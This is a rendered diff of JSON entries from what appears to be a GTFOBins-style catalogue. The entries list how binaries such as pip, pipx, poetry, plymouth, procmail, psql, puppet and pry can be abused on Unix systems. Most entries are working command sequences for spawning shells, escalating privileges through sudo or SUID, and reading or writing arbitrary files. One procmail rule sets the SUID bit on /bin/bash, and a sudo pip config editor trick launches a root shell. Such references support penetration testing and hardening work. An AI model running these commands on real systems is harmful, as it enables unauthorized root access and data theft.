"description": "It needs an absolute local file path.",
|
|
33
|
-
"code": "
|
|
38
|
+
"code": "export LFILE=/tmp/file_to_save\nTF=$(mktemp -d)\necho \"open('$LFILE','w+').write('DATA')\" > $TF/setup.py\npip install $TF\n"
|
|
34
39
|
}
|
|
35
40
|
],
|
|
36
41
|
"file-read": [
|
|
@@ -41,13 +46,19 @@
|
|
|
41
46
|
],
|
|
42
47
|
"library-load": [
|
|
43
48
|
{
|
|
49
|
+
"description": "",
|
|
44
50
|
"code": "TF=$(mktemp -d)\necho 'from ctypes import cdll; cdll.LoadLibrary(\"lib.so\")' > $TF/setup.py\npip install $TF\n"
|
|
45
51
|
}
|
|
46
52
|
],
|
|
47
53
|
"sudo": [
|
|
48
54
|
{
|
|
55
|
+
"description": "",
|
|
49
56
|
"code": "TF=$(mktemp -d)\necho \"import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py\nsudo pip install $TF\n"
|
|
57
|
+
},
|
|
58
|
+
{
|
|
59
|
+
"description": "",
|
|
60
|
+
"code": "TF=$(mktemp -d)\nprintf '#!/bin/bash\\n/bin/bash' > $TF/pwn.sh && chmod +x $TF/pwn.sh\nsudo pip config --editor $TF/pwn.sh edit\n"
|
|
50
61
|
}
|
|
51
62
|
]
|
|
52
63
|
}
|
|
53
|
-
}
|
|
64
|
+
}
|
gtfo/data/pipx.json
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
{
|
|
2
|
+
"comment": "pipx can run Python code provided in a local script.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"inherit": [
|
|
5
|
+
{
|
|
6
|
+
"code": "echo 'import os; os.system(\"/bin/sh -ip\")' >/path/to/file.py\npipx run /path/to/file.py\n",
|
|
7
|
+
"comment": "This runs Python code (`import os; os.system(\"/bin/sh -ip\")`) from the specified file.",
|
|
8
|
+
"contexts": {
|
|
9
|
+
"sudo": {},
|
|
10
|
+
"unprivileged": {}
|
|
11
|
+
},
|
|
12
|
+
"from": "python"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"shell": [
|
|
16
|
+
{
|
|
17
|
+
"code": "pipx run /path/to/file.py\n",
|
|
18
|
+
"contexts": {
|
|
19
|
+
"sudo": {},
|
|
20
|
+
"unprivileged": {}
|
|
21
|
+
}
|
|
22
|
+
}
|
|
23
|
+
]
|
|
24
|
+
}
|
|
25
|
+
}
|
gtfo/data/pkexec.json
CHANGED
gtfo/data/pkg.json
CHANGED
|
@@ -2,7 +2,7 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"sudo": [
|
|
4
4
|
{
|
|
5
|
-
"description": "It runs commands using a specially crafted FreeBSD package. Generate it with
|
|
5
|
+
"description": "It runs commands using a specially crafted FreeBSD package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF\n```\n",
|
|
6
6
|
"code": "sudo pkg install -y --no-repo-update ./x-1.0.txz\n"
|
|
7
7
|
}
|
|
8
8
|
]
|
gtfo/data/plymouth.json
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"sudo": [
|
|
4
|
+
{
|
|
5
|
+
"description": "To achieve code execution, it is required that `plymouthd` is already running as root or can be started as root (with sudo\nor equivalent). It is also required to have tty access to input characters such as keyboard access to the machine. It is\nusually best to save the following code snipet to a script (e.g. `priv-esc.sh`) and execute that as the first command\nwill take over the TTY and you will loose terminal access (if executed from the same TTY) until `hide-splash`.\n\n`show-splash` is used to take control over the TTY and display the splash screen. `pause-progress` is used to prevent\nplymouth from automatically quiting in some cases as we are already booted. `ask-for-password` will ask the user for a\ntext password (usually to decrypt a LUKS disk encryption). We can tell plymouth to send this input to any program, such\nas `/bin/sh` to execute whatever input we gave. Then run `hide-splash` to hide the splash screen and return to normal.\n",
|
|
6
|
+
"code": "sudo plymouth show-splash\nsudo plymouth pause-progress\nsudo plymouth ask-for-password --prompt='Execute root command:' --command=/bin/sh\nsudo plymouth hide-splash\n"
|
|
7
|
+
}
|
|
8
|
+
]
|
|
9
|
+
}
|
|
10
|
+
}
|
gtfo/data/podman.json
ADDED
gtfo/data/poetry.json
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
{
|
|
2
|
+
"comment": "Poetry can run Python code from a project using `poetry run`.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"inherit": [
|
|
5
|
+
{
|
|
6
|
+
"code": "mkdir /path/to/project\ncd /path/to/project\npoetry init -n\necho 'import os; os.system(\"/bin/sh -ip\")' >file.py\npoetry run python ./file.py\n",
|
|
7
|
+
"comment": "This runs Python code (`import os; os.system(\"/bin/sh -ip\")`) from the specified file.",
|
|
8
|
+
"contexts": {
|
|
9
|
+
"unprivileged": {},
|
|
10
|
+
"sudo": {}
|
|
11
|
+
},
|
|
12
|
+
"from": "python"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"shell": [
|
|
16
|
+
{
|
|
17
|
+
"code": "mkdir /path/to/project\ncd /path/to/project\npoetry init -n\necho 'import os; os.system(\"/bin/sh -ip\")' >file.py\npoetry run python file.py\n",
|
|
18
|
+
"comment": "If the script launches a shell, it is executed in the current context.",
|
|
19
|
+
"contexts": {
|
|
20
|
+
"unprivileged": {},
|
|
21
|
+
"sudo": {}
|
|
22
|
+
}
|
|
23
|
+
}
|
|
24
|
+
]
|
|
25
|
+
}
|
|
26
|
+
}
|
gtfo/data/posh.json
ADDED
gtfo/data/pr.json
CHANGED
|
@@ -1,19 +1,21 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "Some bytes are altered so it might not be suitable for binary files.",
|
|
3
2
|
"functions": {
|
|
4
3
|
"file-read": [
|
|
5
4
|
{
|
|
6
|
-
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\npr -T $LFILE\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"suid": [
|
|
10
10
|
{
|
|
11
|
-
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\npr -T $LFILE\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"sudo": [
|
|
15
16
|
{
|
|
16
|
-
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\npr -T $LFILE\n"
|
|
17
19
|
}
|
|
18
20
|
]
|
|
19
21
|
}
|
gtfo/data/procmail.json
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"sudo": [
|
|
4
|
+
{
|
|
5
|
+
"description": "By modifying/creating a procmailrc configuration file, we can specify a processing rule for any command we want.",
|
|
6
|
+
"code": "echo -e ':0\\n| chmod u+s /bin/bash' > .procmailrc\necho \"gtfobins\" | sudo procmail -m .procmailrc\nbash -p\n"
|
|
7
|
+
}
|
|
8
|
+
]
|
|
9
|
+
}
|
|
10
|
+
}
|
gtfo/data/pry.json
CHANGED
|
@@ -2,18 +2,21 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
+
|
|
5
6
|
"code": "pry\nsystem(\"/bin/sh\")\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"sudo": [
|
|
9
10
|
{
|
|
11
|
+
|
|
10
12
|
"code": "sudo pry\nsystem(\"/bin/sh\")\n"
|
|
11
13
|
}
|
|
12
14
|
],
|
|
13
15
|
"limited-suid": [
|
|
14
16
|
{
|
|
17
|
+
|
|
15
18
|
"code": "./pry\nsystem(\"/bin/sh\")\n"
|
|
16
19
|
}
|
|
17
20
|
]
|
|
18
21
|
}
|
|
19
|
-
}
|
|
22
|
+
}
|
gtfo/data/psftp.json
ADDED
gtfo/data/psql.json
CHANGED
|
@@ -1,14 +1,27 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
|
|
3
2
|
"functions": {
|
|
4
3
|
"shell": [
|
|
5
4
|
{
|
|
5
|
+
"description": "",
|
|
6
6
|
"code": "psql\n\\?\n!/bin/sh\n"
|
|
7
|
+
},
|
|
8
|
+
{
|
|
9
|
+
"description": "",
|
|
10
|
+
"code": "psql\n\\! /bin/sh\n"
|
|
7
11
|
}
|
|
8
12
|
],
|
|
9
13
|
"sudo": [
|
|
10
14
|
{
|
|
15
|
+
"description": "",
|
|
11
16
|
"code": "psql\n\\?\n!/bin/sh\n"
|
|
17
|
+
},
|
|
18
|
+
{
|
|
19
|
+
"description": "",
|
|
20
|
+
"code": "psql\n\\! /bin/sh\n"
|
|
21
|
+
},
|
|
22
|
+
{
|
|
23
|
+
"description": "",
|
|
24
|
+
"code": "sudo psql\n\\?\n!/bin/sh\n"
|
|
12
25
|
}
|
|
13
26
|
]
|
|
14
27
|
}
|
gtfo/data/ptx.json
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\nptx -w 5000 \"$LFILE\"\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./ptx -w 5000 \"$LFILE\"\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"sudo": [
|
|
16
|
+
{
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo ptx -w 5000 \"$LFILE\"\n"
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
}
|
gtfo/data/puppet.json
CHANGED
|
@@ -2,25 +2,27 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
+
|
|
5
6
|
"code": "puppet apply -e \"exec { '/bin/sh -c \\\"exec sh -i <$(tty) >$(tty) 2>$(tty)\\\"': }\"\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"file-write": [
|
|
9
10
|
{
|
|
10
11
|
"description": "The file path must be absolute.",
|
|
11
|
-
"code": "
|
|
12
|
+
"code": "LFILE=\"/tmp/file_to_write\"\npuppet apply -e \"file { '$LFILE': content => 'DATA' }\"\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"file-read": [
|
|
15
16
|
{
|
|
16
|
-
"description": "The read file content is corrupted by the `diff` output format. The actual
|
|
17
|
-
"code": "
|
|
17
|
+
"description": "The read file content is corrupted by the `diff` output format. The actual `/usr/bin/diff` command is executed.",
|
|
18
|
+
"code": "LFILE=file_to_read\npuppet filebucket -l diff /dev/null $LFILE\n"
|
|
18
19
|
}
|
|
19
20
|
],
|
|
20
21
|
"sudo": [
|
|
21
22
|
{
|
|
23
|
+
|
|
22
24
|
"code": "sudo puppet apply -e \"exec { '/bin/sh -c \\\"exec sh -i <$(tty) >$(tty) 2>$(tty)\\\"': }\"\n"
|
|
23
25
|
}
|
|
24
26
|
]
|
|
25
27
|
}
|
|
26
|
-
}
|
|
28
|
+
}
|
gtfo/data/pwsh.json
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "pwsh\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"file-write": [
|
|
10
|
+
{
|
|
11
|
+
|
|
12
|
+
"code": "export LFILE=file_to_write\npwsh -c '\"DATA\" | Out-File $env:LFILE'\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"sudo": [
|
|
16
|
+
{
|
|
17
|
+
|
|
18
|
+
"code": "sudo pwsh\n"
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
}
|
gtfo/data/pyright.json
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"binary": false,
|
|
6
|
+
"code": "pyright /path/to/input-file",
|
|
7
|
+
"comment": "Content is leaked as error messages.",
|
|
8
|
+
"contexts": {
|
|
9
|
+
"sudo": null,
|
|
10
|
+
"unprivileged": null
|
|
11
|
+
}
|
|
12
|
+
},
|
|
13
|
+
{
|
|
14
|
+
"binary": false,
|
|
15
|
+
"code": "pyright --outputjson /path/to/input-file",
|
|
16
|
+
"comment": "Content is leaked as error messages in JSON format.",
|
|
17
|
+
"contexts": {
|
|
18
|
+
"sudo": null,
|
|
19
|
+
"unprivileged": null
|
|
20
|
+
}
|
|
21
|
+
},
|
|
22
|
+
{
|
|
23
|
+
"code": "pyright -w /path/to/input-dir/",
|
|
24
|
+
"comment": "Recursively walks directories, parsing all Python files and leaking some contents through diagnostics.",
|
|
25
|
+
"contexts": {
|
|
26
|
+
"sudo": null,
|
|
27
|
+
"unprivileged": null
|
|
28
|
+
}
|
|
29
|
+
}
|
|
30
|
+
]
|
|
31
|
+
}
|
|
32
|
+
}
|